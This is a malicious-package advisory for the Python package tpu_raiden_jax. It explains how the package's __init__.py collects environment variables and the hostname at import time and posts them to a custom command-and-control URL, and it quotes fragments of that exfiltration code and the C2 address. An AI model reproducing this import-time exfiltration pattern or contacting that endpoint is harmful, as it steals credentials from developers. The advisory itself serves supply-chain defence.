GCVE-110-OSM-2026-11630

During import, the package exfiltrates environment variables. Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-09-amirgo4496 Reasons (based on the campaign): - exfiltration-env-variables - dependency-confusion - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk. Judge assessment: This looks like a dependency-confusion style implant designed to steal environment secrets on import: `src/tpu_raiden_jax/__init__.py` builds a JSON payload with `os.environ`, `socket.gethostname()`, package name/version, and posts it to the custom C2 `https://vuorblucjega.dssldrf.net/python-install-log/tpu-raiden-jax`. The attacker model is clear and consistent with credential theft and system fingerprinting, not legitimate telemetry, especially because the destination is a non-vendor domain and the code executes automatically via `_canary()` at import time. The `python-file-upload`, `system-info-exfil`, and `http-exfiltration` findings all corroborate the same behavior, and the OSV advisory `MAL-2026-15930` matches the observed code. The package metadata is also throwaway-like, which further supports malicious intent. DESTINATION - 2 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Python File Upload to Remote in src/tpu_raiden_jax/__init__.py: "urllib.request.Request( "https://vuorblucjega.dssldrf.net/python-install-log/tpu..." - System Information Exfiltration in src/tpu_raiden_jax/__init__.py: "socket.gethostname(), "env": env_vars, }).encode() req = urllib.request.Request(..." - HTTP Data Exfiltration in src/tpu_raiden_jax/__init__.py: "socket.gethostname(), "env": env_vars, }).encode() req = urllib" - Network Request in src/tpu_raiden_jax/__init__.py: "Request( "https:" - System Information Collection in src/tpu_raiden_jax/__init__.py: "socket.gethostname()" PAYLOAD FILES src/tpu_raiden_jax/__init__.py